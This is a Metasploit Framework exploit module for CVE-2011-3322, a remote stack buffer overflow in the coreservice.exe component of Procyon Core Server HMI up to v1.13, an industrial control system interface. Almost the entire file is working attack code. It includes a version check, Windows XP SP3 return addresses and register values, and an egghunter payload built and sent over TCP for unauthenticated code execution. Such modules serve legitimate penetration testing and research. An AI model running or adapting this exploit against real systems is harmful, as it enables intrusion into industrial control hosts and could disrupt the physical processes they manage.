##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Egghunter
	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability in the coreservice.exe component of Proycon
				Core Server <= v1.13. While processing a password, the application
				fails to do proper bounds checking before copying data into a small buffer on the stack.
				This causes a buffer overflow and allows to overwrite a structured exception handling
				record on the stack, allowing for unauthenticated remote code execution.  Also, after the
				payload exits, Coreservice.exe should automatically recover.
			},
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'Author'         =>
				[
					'Knud Hojgaard <keh[at]nsense.dk>',        # Initial discovery
					'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf
				],
			'References'     =>
				[
					['CVE', '2011-3322'],
					['OSVDB', '75371'],
					['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'],
					['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d",
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'process',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[

					[
						'Windows XP SP3 - No dep bypass',
						{
							'Ret'    => 0x774699bf, # JMP ESP [user32.dll]
							'Edx'    => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
							'Eax'    => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
							'Offset' => 8
						}
					],
				],
			'Privileged'     => true,
			'DisclosureDate' => "Sep 08 2011",
			'DefaultTarget'  => 0))

			register_options(
			[
				Opt::RPORT(23)
			], self.class)
	end

	def check
		connect
		res = (sock.get_once || '').chomp  #This gives us string "----------------------------"
		res = (sock.get_once || '').chomp  #This gives us the actual software version
		disconnect

		if res =~ /Core Command Interface V1\.(.*)2/
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit

		eggoptions =
		{
			:checksum => false,
			:eggtag => 'ssec',
		}

		badchars = "\x00\x0a\x0d"
		hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

		sploit = rand_text_alpha_upper(45)
		sploit << [target['Edx']].pack('V')
		sploit << [0x41414141].pack('V')
		sploit << [target['Eax']].pack('V')
		sploit << rand_text_alpha_upper(target['Offset'])
		sploit << [target.ret].pack('V')
		sploit << make_nops(10)
		sploit << hunter
		sploit << rand_text_alpha_upper(500)
		sploit << egg
		sploit << "\r\n"

		connect
		sock.get_once()
		print_status("Sending request...")
		sock.put(sploit)
		handler()
		disconnect

	end

end
